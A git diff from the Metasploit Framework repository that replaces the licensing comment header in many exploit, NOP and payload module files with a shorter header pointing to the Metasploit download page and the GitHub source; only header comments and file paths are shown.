a/modules/exploits/windows/smb/ms09_050_smb2_negotiate_func_index.rb +++ b/modules/exploits/windows/smb/ms09_050_smb2_negotiate_func_index.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/smb/ms10_061_spoolss.rb b/modules/exploits/windows/smb/ms10_061_spoolss.rb index 0b2e96cab0..07024d74c7 100644 --- a/modules/exploits/windows/smb/ms10_061_spoolss.rb +++ b/modules/exploits/windows/smb/ms10_061_spoolss.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/smb/netidentity_xtierrpcpipe.rb b/modules/exploits/windows/smb/netidentity_xtierrpcpipe.rb index b324c10a55..7820b4c717 100644 --- a/modules/exploits/windows/smb/netidentity_xtierrpcpipe.rb +++ b/modules/exploits/windows/smb/netidentity_xtierrpcpipe.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/smb/psexec.rb b/modules/exploits/windows/smb/psexec.rb index c8e9548568..03e58f4408 100644 --- a/modules/exploits/windows/smb/psexec.rb +++ b/modules/exploits/windows/smb/psexec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/smb/psexec_psh.rb b/modules/exploits/windows/smb/psexec_psh.rb index 7ec0239b42..2f3994ba59 100644 --- a/modules/exploits/windows/smb/psexec_psh.rb +++ b/modules/exploits/windows/smb/psexec_psh.rb @@ -1,10 +1,8 @@ # -*- coding: binary -*- ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/smb/smb_relay.rb b/modules/exploits/windows/smb/smb_relay.rb index 635e2d31b9..9d7c488f11 100644 --- a/modules/exploits/windows/smb/smb_relay.rb +++ b/modules/exploits/windows/smb/smb_relay.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/smb/timbuktu_plughntcommand_bof.rb b/modules/exploits/windows/smb/timbuktu_plughntcommand_bof.rb index 4cf1f47a2a..d33f86f8bc 100644 --- a/modules/exploits/windows/smb/timbuktu_plughntcommand_bof.rb +++ b/modules/exploits/windows/smb/timbuktu_plughntcommand_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/smtp/mailcarrier_smtp_ehlo.rb b/modules/exploits/windows/smtp/mailcarrier_smtp_ehlo.rb index d6c6d6d0fe..2dcaf2aff2 100644 --- a/modules/exploits/windows/smtp/mailcarrier_smtp_ehlo.rb +++ b/modules/exploits/windows/smtp/mailcarrier_smtp_ehlo.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/smtp/mercury_cram_md5.rb b/modules/exploits/windows/smtp/mercury_cram_md5.rb index d3ac756343..c49fd7129c 100644 --- a/modules/exploits/windows/smtp/mercury_cram_md5.rb +++ b/modules/exploits/windows/smtp/mercury_cram_md5.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/smtp/ms03_046_exchange2000_xexch50.rb b/modules/exploits/windows/smtp/ms03_046_exchange2000_xexch50.rb index bc6c74e6f4..b5304d4a15 100644 --- a/modules/exploits/windows/smtp/ms03_046_exchange2000_xexch50.rb +++ b/modules/exploits/windows/smtp/ms03_046_exchange2000_xexch50.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/smtp/njstar_smtp_bof.rb b/modules/exploits/windows/smtp/njstar_smtp_bof.rb index 93e2b9ce08..bf011e928d 100644 --- a/modules/exploits/windows/smtp/njstar_smtp_bof.rb +++ b/modules/exploits/windows/smtp/njstar_smtp_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/smtp/wmailserver.rb b/modules/exploits/windows/smtp/wmailserver.rb index 28dd105642..02f91d2169 100644 --- a/modules/exploits/windows/smtp/wmailserver.rb +++ b/modules/exploits/windows/smtp/wmailserver.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/smtp/ypops_overflow1.rb b/modules/exploits/windows/smtp/ypops_overflow1.rb index 93700e1fdb..25deefe2c3 100644 --- a/modules/exploits/windows/smtp/ypops_overflow1.rb +++ b/modules/exploits/windows/smtp/ypops_overflow1.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/ssh/freeftpd_key_exchange.rb b/modules/exploits/windows/ssh/freeftpd_key_exchange.rb index 5c75dfb2dd..cfbcb28cb3 100644 --- a/modules/exploits/windows/ssh/freeftpd_key_exchange.rb +++ b/modules/exploits/windows/ssh/freeftpd_key_exchange.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/ssh/freesshd_authbypass.rb b/modules/exploits/windows/ssh/freesshd_authbypass.rb index c655346e92..370baff539 100644 --- a/modules/exploits/windows/ssh/freesshd_authbypass.rb +++ b/modules/exploits/windows/ssh/freesshd_authbypass.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/ssh/freesshd_key_exchange.rb b/modules/exploits/windows/ssh/freesshd_key_exchange.rb index 695db8523d..d956194566 100644 --- a/modules/exploits/windows/ssh/freesshd_key_exchange.rb +++ b/modules/exploits/windows/ssh/freesshd_key_exchange.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/ssh/putty_msg_debug.rb b/modules/exploits/windows/ssh/putty_msg_debug.rb index 1acbe2c799..d26782df0f 100644 --- a/modules/exploits/windows/ssh/putty_msg_debug.rb +++ b/modules/exploits/windows/ssh/putty_msg_debug.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Exploit::Remote diff --git a/modules/exploits/windows/ssh/securecrt_ssh1.rb b/modules/exploits/windows/ssh/securecrt_ssh1.rb index 13c31fa3dc..50fc8eca96 100644 --- a/modules/exploits/windows/ssh/securecrt_ssh1.rb +++ b/modules/exploits/windows/ssh/securecrt_ssh1.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Exploit::Remote diff --git a/modules/exploits/windows/ssh/sysax_ssh_username.rb b/modules/exploits/windows/ssh/sysax_ssh_username.rb index 054a41cf9b..0c5a47529a 100644 --- a/modules/exploits/windows/ssh/sysax_ssh_username.rb +++ b/modules/exploits/windows/ssh/sysax_ssh_username.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/ssl/ms04_011_pct.rb b/modules/exploits/windows/ssl/ms04_011_pct.rb index d59ef10a6b..a383445fc7 100644 --- a/modules/exploits/windows/ssl/ms04_011_pct.rb +++ b/modules/exploits/windows/ssl/ms04_011_pct.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/telnet/gamsoft_telsrv_username.rb b/modules/exploits/windows/telnet/gamsoft_telsrv_username.rb index b34a252cc7..3da111b348 100644 --- a/modules/exploits/windows/telnet/gamsoft_telsrv_username.rb +++ b/modules/exploits/windows/telnet/gamsoft_telsrv_username.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/telnet/goodtech_telnet.rb b/modules/exploits/windows/telnet/goodtech_telnet.rb index 1fcc5ed8e2..30177d7c6f 100644 --- a/modules/exploits/windows/telnet/goodtech_telnet.rb +++ b/modules/exploits/windows/telnet/goodtech_telnet.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/tftp/attftp_long_filename.rb b/modules/exploits/windows/tftp/attftp_long_filename.rb index d7a9b73855..0504b7553f 100644 --- a/modules/exploits/windows/tftp/attftp_long_filename.rb +++ b/modules/exploits/windows/tftp/attftp_long_filename.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/tftp/distinct_tftp_traversal.rb b/modules/exploits/windows/tftp/distinct_tftp_traversal.rb index b90e75563f..2f59ef9e1f 100644 --- a/modules/exploits/windows/tftp/distinct_tftp_traversal.rb +++ b/modules/exploits/windows/tftp/distinct_tftp_traversal.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/tftp/dlink_long_filename.rb b/modules/exploits/windows/tftp/dlink_long_filename.rb index bf21e283bb..0837a4f29f 100644 --- a/modules/exploits/windows/tftp/dlink_long_filename.rb +++ b/modules/exploits/windows/tftp/dlink_long_filename.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/tftp/futuresoft_transfermode.rb b/modules/exploits/windows/tftp/futuresoft_transfermode.rb index 5bb61cf2d8..904d395d53 100644 --- a/modules/exploits/windows/tftp/futuresoft_transfermode.rb +++ b/modules/exploits/windows/tftp/futuresoft_transfermode.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb b/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb index 15e2170cf8..55b147e8db 100644 --- a/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb +++ b/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/tftp/opentftp_error_code.rb b/modules/exploits/windows/tftp/opentftp_error_code.rb index 5fb3ad25e5..22c225634a 100644 --- a/modules/exploits/windows/tftp/opentftp_error_code.rb +++ b/modules/exploits/windows/tftp/opentftp_error_code.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/tftp/quick_tftp_pro_mode.rb b/modules/exploits/windows/tftp/quick_tftp_pro_mode.rb index 80d9fa476a..e279947f6f 100644 --- a/modules/exploits/windows/tftp/quick_tftp_pro_mode.rb +++ b/modules/exploits/windows/tftp/quick_tftp_pro_mode.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/tftp/tftpd32_long_filename.rb b/modules/exploits/windows/tftp/tftpd32_long_filename.rb index 062c1533be..87d8290a1b 100644 --- a/modules/exploits/windows/tftp/tftpd32_long_filename.rb +++ b/modules/exploits/windows/tftp/tftpd32_long_filename.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/tftp/tftpdwin_long_filename.rb b/modules/exploits/windows/tftp/tftpdwin_long_filename.rb index 1a45cde32f..daf155d0eb 100644 --- a/modules/exploits/windows/tftp/tftpdwin_long_filename.rb +++ b/modules/exploits/windows/tftp/tftpdwin_long_filename.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/tftp/tftpserver_wrq_bof.rb b/modules/exploits/windows/tftp/tftpserver_wrq_bof.rb index b3a10281fd..1d144f880e 100644 --- a/modules/exploits/windows/tftp/tftpserver_wrq_bof.rb +++ b/modules/exploits/windows/tftp/tftpserver_wrq_bof.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/tftp/threectftpsvc_long_mode.rb b/modules/exploits/windows/tftp/threectftpsvc_long_mode.rb index 3c97bdc069..16616e0547 100644 --- a/modules/exploits/windows/tftp/threectftpsvc_long_mode.rb +++ b/modules/exploits/windows/tftp/threectftpsvc_long_mode.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/unicenter/cam_log_security.rb b/modules/exploits/windows/unicenter/cam_log_security.rb index a4246601ec..323e1fcc1b 100644 --- a/modules/exploits/windows/unicenter/cam_log_security.rb +++ b/modules/exploits/windows/unicenter/cam_log_security.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/vnc/realvnc_client.rb b/modules/exploits/windows/vnc/realvnc_client.rb index f9f7510efb..95b5e98c13 100644 --- a/modules/exploits/windows/vnc/realvnc_client.rb +++ b/modules/exploits/windows/vnc/realvnc_client.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Exploit::Remote diff --git a/modules/exploits/windows/vnc/ultravnc_client.rb b/modules/exploits/windows/vnc/ultravnc_client.rb index a2ee66987b..fd6ffc5a46 100644 --- a/modules/exploits/windows/vnc/ultravnc_client.rb +++ b/modules/exploits/windows/vnc/ultravnc_client.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Exploit::Remote diff --git a/modules/exploits/windows/vnc/ultravnc_viewer_bof.rb b/modules/exploits/windows/vnc/ultravnc_viewer_bof.rb index 936fa018d0..6c0165dabf 100644 --- a/modules/exploits/windows/vnc/ultravnc_viewer_bof.rb +++ b/modules/exploits/windows/vnc/ultravnc_viewer_bof.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## class Metasploit3 < Msf::Exploit::Remote diff --git a/modules/exploits/windows/vnc/winvnc_http_get.rb b/modules/exploits/windows/vnc/winvnc_http_get.rb index 33f895ae9e..9d6c3c176a 100644 --- a/modules/exploits/windows/vnc/winvnc_http_get.rb +++ b/modules/exploits/windows/vnc/winvnc_http_get.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/vpn/safenet_ike_11.rb b/modules/exploits/windows/vpn/safenet_ike_11.rb index c6b68bbc60..3a9924b13b 100644 --- a/modules/exploits/windows/vpn/safenet_ike_11.rb +++ b/modules/exploits/windows/vpn/safenet_ike_11.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/winrm/winrm_script_exec.rb b/modules/exploits/windows/winrm/winrm_script_exec.rb index fc31d4a4d7..56150d569d 100644 --- a/modules/exploits/windows/winrm/winrm_script_exec.rb +++ b/modules/exploits/windows/winrm/winrm_script_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/wins/ms04_045_wins.rb b/modules/exploits/windows/wins/ms04_045_wins.rb index cc4388a94c..496487a791 100644 --- a/modules/exploits/windows/wins/ms04_045_wins.rb +++ b/modules/exploits/windows/wins/ms04_045_wins.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/nops/armle/simple.rb b/modules/nops/armle/simple.rb index f972eadc49..4d9771025b 100644 --- a/modules/nops/armle/simple.rb +++ b/modules/nops/armle/simple.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/nops/php/generic.rb b/modules/nops/php/generic.rb index f49e5e5496..842cfa57cf 100644 --- a/modules/nops/php/generic.rb +++ b/modules/nops/php/generic.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/nops/ppc/simple.rb b/modules/nops/ppc/simple.rb index 35ae9a34af..d5f0ad4269 100644 --- a/modules/nops/ppc/simple.rb +++ b/modules/nops/ppc/simple.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/nops/sparc/random.rb b/modules/nops/sparc/random.rb index 5f07539c31..487cf3ca56 100644 --- a/modules/nops/sparc/random.rb +++ b/modules/nops/sparc/random.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/nops/tty/generic.rb b/modules/nops/tty/generic.rb index ee9627dc84..b1a321c60f 100644 --- a/modules/nops/tty/generic.rb +++ b/modules/nops/tty/generic.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/nops/x64/simple.rb b/modules/nops/x64/simple.rb index dfe3a82484..3472627110 100644 --- a/modules/nops/x64/simple.rb +++ b/modules/nops/x64/simple.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/nops/x86/opty2.rb b/modules/nops/x86/opty2.rb index 6011164c37..0026606965 100644 --- a/modules/nops/x86/opty2.rb +++ b/modules/nops/x86/opty2.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/nops/x86/single_byte.rb b/modules/nops/x86/single_byte.rb index 3072e7bae6..7355a12157 100644 --- a/modules/nops/x86/single_byte.rb +++ b/modules/nops/x86/single_byte.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/singles/aix/ppc/shell_bind_tcp.rb b/modules/payloads/singles/aix/ppc/shell_bind_tcp.rb index 76810e5063..920dce57dc 100644 --- a/modules/payloads/singles/aix/ppc/shell_bind_tcp.rb +++ b/modules/payloads/singles/aix/ppc/shell_bind_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/aix/ppc/shell_find_port.rb b/modules/payloads/singles/aix/ppc/shell_find_port.rb index 8d247fec42..9bd3ebbad2 100644 --- a/modules/payloads/singles/aix/ppc/shell_find_port.rb +++ b/modules/payloads/singles/aix/ppc/shell_find_port.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/aix/ppc/shell_interact.rb b/modules/payloads/singles/aix/ppc/shell_interact.rb index 37be4bbeb7..4ba29c290c 100644 --- a/modules/payloads/singles/aix/ppc/shell_interact.rb +++ b/modules/payloads/singles/aix/ppc/shell_interact.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/payloads/singles/aix/ppc/shell_reverse_tcp.rb b/modules/payloads/singles/aix/ppc/shell_reverse_tcp.rb index aabdf5920a..ba973570fb 100644 --- a/modules/payloads/singles/aix/ppc/shell_reverse_tcp.rb +++ b/modules/payloads/singles/aix/ppc/shell_reverse_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: 